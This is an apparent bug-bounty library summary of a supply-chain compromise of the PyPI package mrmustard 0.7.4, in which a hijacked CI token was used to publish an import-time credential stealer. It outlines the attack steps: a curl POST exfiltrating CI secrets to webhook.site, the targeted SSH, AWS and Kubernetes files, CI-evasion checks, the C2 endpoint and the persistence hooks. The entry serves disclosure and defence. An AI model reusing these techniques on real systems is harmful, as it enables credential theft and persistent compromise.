# Compromised PyPI Package: mrmustard 0.7.4 Steals SSH, Cloud, and Kubernetes Credentials

Hijacked maintainer account used stolen CI PyPI token to publish mrmustard 0.7.4 with an import-time stealer exfiltrating SSH, AWS, and Kubernetes credentials.

- Payout: Real-world hack
- Severity: critical
- Program: mrmustard
- Analysis by: StepSecurity
- Disclosed: 2026-07-25
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/compromised-pypi-mrmustard-0-7-4-credential-stealer
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-compromised-pypi-mrmustard-0-7-4-credential-stealer
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:incident platform:threat-intel sev:critical tech:ci-cd tech:github-actions tech:python technique:chained technique:source-review vuln:secrets-leak

**Target:** PyPI package mrmustard 0.7.4 (mrmustard/__init__.py)
**Root cause:** Attacker took over maintainer GitHub account, pushed throwaway-branch workflows that exfiltrated PIPY_TOKEN and CODECOV_TOKEN from Actions secrets, then uploaded a poisoned 0.7.4 tarball directly to PyPI with a 258-line credential stealer injected into __init__.py, absent from the GitHub source.
**Steps:**
1. Push branch with workflow running `whoami` on `self-hosted` runner to recon identity
2. Push workflow reading `${{ secrets.PIPY_TOKEN }}` and `${{ secrets.CODECOV_TOKEN }}`, base64+jq encode, `curl -X POST https://webhook.site/710babde-...`
3. Use stolen PIPY_TOKEN to upload mrmustard 0.7.4 tarball with injected `_check_tf_compatibility()` in `__init__.py`
4. Payload bails if env vars `CI`,`GITHUB_ACTIONS`,... set or `/.dockerenv` exists; detonate with `env -i`
5. On import, harvest `~/.ssh` PRIVATE KEY files, `~/.aws/credentials`, `~/.kube/config`, env vars, `pip freeze`, `nvidia-smi`, `squeue`
6. XOR-encrypt with key `tf_compat_v2`, base64, POST to `https://metrics.femboy.energy/v1/collect`
7. Drop persistence: 15-min cron, `.pth` in site-packages, `~/.bashrc` hook, second stage `~/.cache/.tf_cache/hw_probe.pyc`
**How found:** Aikido researcher noticed 0.7.4 on PyPI had no matching git tag or GitHub release; diffed tarball against 0.7.3 revealing 258-line block in __init__.py absent from source tree; traced back to deleted throwaway-branch CI commits.
**Exploitation:** Maintainer account takeover → self-hosted runner recon → CI workflow exfiltrates PyPI publishing token to webhook.site → attacker uploads malicious 0.7.4 directly to PyPI bypassing release process → developer `pip install` triggers import-time stealer on non-CI hosts, exfiltrating SSH/AWS/K8s creds to C2 and installing three persistence mechanisms.
**Escalation:** Targeted HPC/quantum research users (SLURM, PBS, SGE, CUDA, CONDA env vars) to reach high-value cluster credentials; three redundant persistence mechanisms survive package removal.
**Insight:** Diff published artifacts against the source repo and check for missing git tags/releases — supply-chain injections often live only in the tarball. Also watch for self-deleting functions (`del _check_tf_compatibility`) and CI-env bailouts that hide payloads from build sandboxes.